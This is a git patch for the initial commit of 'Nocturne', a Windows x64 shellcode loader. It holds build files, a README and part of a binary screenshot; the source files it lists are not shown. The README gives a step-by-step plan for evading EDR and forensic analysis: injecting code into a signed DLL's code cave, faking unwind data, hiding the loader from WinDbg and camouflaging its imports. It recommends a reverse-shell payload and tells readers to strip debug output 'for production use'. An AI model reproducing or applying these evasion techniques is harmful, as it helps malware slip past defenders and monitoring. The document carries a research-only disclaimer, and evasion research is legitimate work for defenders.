From 200d69b3b146e076980df8e63b5ac06f1b8e60b7 Mon Sep 17 00:00:00 2001 From: Xec412 Date: Sun, 26 Jul 2026 18:42:28 +0300 Subject: [PATCH] Initial commit --- .gitignore | 30 + Nocturne.slnx | 7 + Nocturne.vcxproj | 193 ++++ Nocturne.vcxproj.filters | 80 ++ README.md | 174 ++++ docs/screenshots/BypassWinDbg.png | Bin 0 -> 58672 bytes docs/screenshots/IatCamouflage.png | Bin 0 -> 36039 bytes docs/screenshots/ProcessHacker.png | Bin 0 -> 21786 bytes docs/screenshots/ReverseShell.png | Bin 0 -> 136156 bytes docs/screenshots/WinDbg.png | Bin 0 -> 46221 bytes include/Common.h | 355 +++++++ include/IatCamouflage.h | 61 ++ include/InitializeAPI.h | 92 ++ include/Primitives.h | 195 ++++ include/Structs.h | 1495 ++++++++++++++++++++++++++++ src/ApiStub.asm | 27 + src/Context.cpp | 225 +++++ src/Debug.cpp | 17 + src/Intrinsic.cpp | 14 + src/Main.cpp | 98 ++ src/Proxy.cpp | 149 +++ src/Resolver.cpp | 267 +++++ src/SetRegister.asm | 13 + src/ShadowGate.asm | 78 ++ src/StackSearch.asm | 36 + src/StackSpoofing.cpp | 442 ++++++++ src/StackUtils.cpp | 62 ++ src/Unwind.cpp | 885 ++++++++++++++++ 28 files changed, 4995 insertions(+) create mode 100644 .gitignore create mode 100644 Nocturne.slnx create mode 100644 Nocturne.vcxproj create mode 100644 Nocturne.vcxproj.filters create mode 100644 README.md create mode 100644 docs/screenshots/BypassWinDbg.png create mode 100644 docs/screenshots/IatCamouflage.png create mode 100644 docs/screenshots/ProcessHacker.png create mode 100644 docs/screenshots/ReverseShell.png create mode 100644 docs/screenshots/WinDbg.png create mode 100644 include/Common.h create mode 100644 include/IatCamouflage.h create mode 100644 include/InitializeAPI.h create mode 100644 include/Primitives.h create mode 100644 include/Structs.h create mode 100644 src/ApiStub.asm create mode 100644 src/Context.cpp create mode 100644 src/Debug.cpp create mode 100644 src/Intrinsic.cpp create mode 100644 src/Main.cpp create mode 100644 src/Proxy.cpp create mode 100644 src/Resolver.cpp create mode 100644 src/SetRegister.asm create mode 100644 src/ShadowGate.asm create mode 100644 src/StackSearch.asm create mode 100644 src/StackSpoofing.cpp create mode 100644 src/StackUtils.cpp create mode 100644 src/Unwind.cpp diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..076590a --- /dev/null +++ b/.gitignore @@ -0,0 +1,30 @@ +# Build outputs +Debug/ +Release/ +x64/ +*.obj +*.exe +*.pdb +*.ilk +*.log +*.tlog/ + +# Visual Studio +.vs/ +*.user +*.suo +*.ncb +*.sdf +*.opensdf +*.VC.db +*.VC.opendb +ipch/ + +# Binaries +*.dll +*.lib +*.exp + +# Shellcode / payload artifacts +*.bin +*.raw diff --git a/Nocturne.slnx b/Nocturne.slnx new file mode 100644 index 0000000..62116a7 --- /dev/null +++ b/Nocturne.slnx @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Nocturne.vcxproj b/Nocturne.vcxproj new file mode 100644 index 0000000..0667485 --- /dev/null +++ b/Nocturne.vcxproj @@ -0,0 +1,193 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {5713291f-3c16-42a4-b5ed-ba1d37cc6bfc} + Nocturne + 10.0 + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + false + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + false + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + Default + MultiThreaded + false + false + $(ProjectDir)include;%(AdditionalIncludeDirectories) + + + Console + false + true + main + + + true + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + false + false + MultiThreaded + false + $(ProjectDir)include;%(AdditionalIncludeDirectories) + + + Console + false + true + main + + + true + + + + + + + + + + + + + + + + + + + + + + + + + Document + + + + + + + + + \ No newline at end of file diff --git a/Nocturne.vcxproj.filters b/Nocturne.vcxproj.filters new file mode 100644 index 0000000..6717d14 --- /dev/null +++ b/Nocturne.vcxproj.filters @@ -0,0 +1,80 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..9d59b31 --- /dev/null +++ b/README.md @@ -0,0 +1,174 @@ +
+ +# 🌙 Nocturne + +### CET-Compatible Stack Spoofing Loader + +A Windows x64 loader that achieves **legitimate call stacks** through runtime function table manipulation, code cave injection, and inverted function table collapse — fully compatible with Intel CET Shadow Stacks. + +[![Windows](https://img.shields.io/badge/Platform-Windows%20x64-blue?style=flat-square&logo=windows)](https://microsoft.com) +[![C++20](https://img.shields.io/badge/Language-C++20-purple?style=flat-square&logo=cplusplus)](https://isocpp.org) +[![MASM](https://img.shields.io/badge/Assembly-MASM%20x64-red?style=flat-square)](https://learn.microsoft.com/en-us/cpp/assembler/masm/masm-for-x64-ml64-exe) +[![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](LICENSE) + +
+ +--- + +## Overview + +Nocturne is a research-oriented Windows x64 shellcode loader built around a single goal: producing **clean, fully backed call stacks** that are indistinguishable from legitimate Windows threads — even under manual forensic inspection with WinDbg. + +Modern EDR solutions and manual analysts rely on call stack integrity as a primary detection signal. Unbacked return addresses, misaligned frames, and dynamic function table artifacts are all strong indicators of malicious activity. Traditional stack spoofing techniques address some of these, but they break under **Intel CET (Control-flow Enforcement Technology)** shadow stack validation, where the hardware maintains a separate, read-only copy of return addresses that must match the software stack. + +Nocturne solves this by taking a fundamentally different approach: instead of fabricating fake frames, it **injects code into a legitimate module's `.text` section** and registers a `RUNTIME_FUNCTION` entry with **real donor unwind metadata** from that module. The Windows unwinder then walks the stack using genuine unwind info, producing frames that point back to a signed, backed DLL (`windows.storage.dll`). Because the code physically resides within the module's address range and the unwind chain is structurally valid, both software-based stack walks and CET hardware validation see a legitimate call chain. + +The loader is built entirely **CRT-free** (`/NODEFAULTLIB`) with a custom entry point, custom `memset`/`memcpy` intrinsics, and `HeapAlloc`/`HeapFree` operator overrides — no C runtime dependency in the final binary. All Win32 and NT API resolution happens at runtime through **compile-time DJB2 hashing** (`constexpr`): the hash values are computed during compilation and embedded as immediate constants, while the actual function pointers are resolved at runtime by walking PEB loader data structures. This means zero API name strings exist in the binary, and the IAT contains only benign camouflage imports. + +> [!IMPORTANT] +> The payload exits immediately after execution, so short-lived shellcode (e.g. `calc.exe` launcher) will terminate before you can inspect the call stack. To properly analyze the spoofed stack, use a **persistent payload** such as an `msfvenom` reverse shell or a long-lived beacon — anything that keeps the thread alive long enough for manual inspection with WinDbg or Process Hacker. + +--- + +## Techniques & Why They Were Chosen + +### 🔧 API Hash Resolution (DJB2) + +All Win32/NT APIs are resolved at runtime by walking the PEB loader data structures and matching export names against precomputed DJB2 hashes. The hashes are generated at **compile time** using `constexpr` evaluation — the compiler computes each hash and embeds it as an immediate constant in the binary. At runtime, the resolver iterates the target module's export table and compares each export name's hash against the embedded constant. This eliminates IAT entries that would otherwise reveal the loader's true capabilities to static analysis tools, and ensures no API name strings are present in the binary. + +### 🎭 IAT Camouflage + +The Import Address Table is populated exclusively with **benign USER32.dll imports** (`MessageBoxA`, `RegisterClassW`, `IsWindowVisible`, etc.) placed inside an unreachable code branch. Static analysis tools see a harmless GUI application rather than a loader. + +
+IAT Camouflage — Only benign imports visible +
+Clean IAT — only benign USER32.dll imports and heap management functions +
+ +### 🛡️ CET-Compatible Stack Spoofing (RTFI + JIT) + +This is Nocturne's core technique. The stack spoofing pipeline: + +1. **Sacrificial DLL Loading** — `windows.storage.dll` is loaded as the donor module +2. **Code Cave Injection** — Payload + ShadowGate stub are injected into `.text` section slack space +3. **Dynamic Function Table Registration** — `RtlAddFunctionTable` registers a `RUNTIME_FUNCTION` entry pointing to **donor unwind info**, making the injected code appear as a legitimate function within the module +4. **Inverted Function Table Collapse** — The internal `RtlpInvertedFunctionTable` entry for the donor module is collapsed so the dynamic table takes priority during unwinding +5. **Cache Invalidation** — Both the function table cache and function entry cache are flushed to force the unwinder through the manipulated lookup path +6. **Type=0 WinDbg Bypass** — The dynamic function table entry type is patched from `RF_CALLBACK` to `RF_SORTED`, preventing WinDbg from resolving it as dynamic +7. **`.pdata` Suppression** — The donor module's `.pdata` section protection is set to `PAGE_NOACCESS`, forcing all unwind lookups through the controlled dynamic table + +The result: every frame in the call stack resolves to `windows_storage!` — a legitimate, backed module. + +
+Process Hacker — Clean call stack with windows.storage frames +
+Process Hacker call stack — all frames resolve to windows.storage.dll +
+ +
+ +
+WinDbg — Spoofed stack trace +
+WinDbg stack trace showing legitimate windows_storage frames +
+ +### 🔍 WinDbg Bypass Verification + +The dynamic function table entry is invisible to WinDbg's forensic commands. Type patching and `.pdata` suppression ensure that debugger analysis cannot distinguish the spoofed frames from real ones. + +
+WinDbg Bypass — Dynamic table hidden from debugger +
+WinDbg bypass — .fnent shows donor unwind info, no dynamic table artifacts +
+ +### 🔒 CRT-Free Build + +The entire project compiles with `/NODEFAULTLIB` and a custom entry point. Memory management uses `HeapAlloc`/`HeapFree` through operator overrides. `memset` and `memcpy` are implemented as custom intrinsics. This eliminates CRT dependencies that would inflate the binary and add unnecessary attack surface. + +### 🐚 Payload Execution + +Shellcode is XOR-decrypted at runtime and executed through the **ShadowGate** assembly stub, which sets up the spoofed stack frame before transferring control. + +
+Reverse Shell — Payload executing with spoofed stack +
+Reverse shell established with fully spoofed call stack +
+ +--- + +## Build + +Open `Nocturne.sln` in Visual Studio and build for **x64 Release** or **x64 Debug**. + +| Configuration | Description | +|---|---| +| **Debug x64** | Console output enabled, `DEBUG` preprocessor defined | +| **Release x64** | Silent execution, no debug output | + +> Both configurations use `/NODEFAULTLIB`, static CRT (`/MT`), no buffer security checks, and no C++ exceptions. + +> [!NOTE] +> For production use, make sure the `DEBUG` preprocessor definition is **removed** from your build configuration. The Debug x64 preset defines it by default — switch to Release x64 or manually remove `_DEBUG` and `DEBUG` from **Project Properties → C/C++ → Preprocessor Definitions** to disable all console output. + +--- + +## Project Structure + +``` +Nocturne/ +├── include/ +│ ├── Common.h # Global API struct & function declarations +│ ├── IatCamouflage.h # IAT camouflage with benign imports +│ ├── InitializeAPI.h # Runtime API resolution +│ ├── Primitives.h # Hash functions & utility macros +│ ├── Structs.h # NT structures & custom types +│ └── Debug.h # Debug console & print macros +├── src/ +│ ├── Main.cpp # Entry point & orchestration +│ ├── StackSpoofing.cpp # Stack spoofing pipeline +│ ├── Unwind.cpp # Unwind info parsing & manipulation +│ ├── Context.cpp # Spoof context tracking & rollback +│ ├── Resolver.cpp # PEB walking & hash-based API resolution +│ ├── StackUtils.cpp # Stack origin & cookie detection +│ ├── Proxy.cpp # Thread pool proxied API calls +│ ├── Intrinsic.cpp # Custom memset/memcpy +│ ├── Debug.cpp # Debug console allocation +│ ├── ShadowGate.asm # Payload execution stub +│ ├── StackSearch.asm # Stack scanning primitives +│ ├── SetRegister.asm # Register manipulation +│ └── ApiStub.asm # Indirect syscall stubs +└── docs/ + └── screenshots/ +``` + +--- + +## References + +- [klezVirus](https://github.com/klezVirus) — Original author of the BYOUD technique that Nocturne's stack spoofing is built upon +- [klezVirus/BYOUD](https://github.com/klezVirus/BYOUD) — Bring Your Own Unwind Data — the foundational research behind runtime function table manipulation +- [BYOUD Blog Post](https://klezvirus.github.io/posts/Byoud/) — Detailed technical writeup of the BYOUD technique +- [MalDev Academy](https://maldevacademy.com/) — Malware development techniques and methodology +- [Microsoft x64 Exception Handling](https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170) — Official documentation on x64 unwind info, `RUNTIME_FUNCTION`, and the exception handling ABI +- [Stack Spoofing — Black Hat Talk](https://www.youtube.com/watch?v=tOVcScKuJvU&t=847s) — Presentation on advanced stack spoofing techniques +- [Hiding in Plain Sight](https://0xdarkvortex.dev/hiding-in-plainsight/) — Thread stack spoofing and call stack manipulation research + +--- + +## Disclaimer + +This project is intended for **authorized security research and educational purposes only**. The author is not responsible for any misuse. Always obtain proper authorization before testing on systems you do not own. + +--- + +
+ +If you find this project useful or interesting, consider leaving a ⭐ + +Your support motivates further research and development. + +
diff --git a/docs/screenshots/BypassWinDbg.png b/docs/screenshots/BypassWinDbg.png new file mode 100644 index 0000000000000000000000000000000000000000..7bb91f79fc168914034405255d39292af10ce648 GIT binary patch literal 58672 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 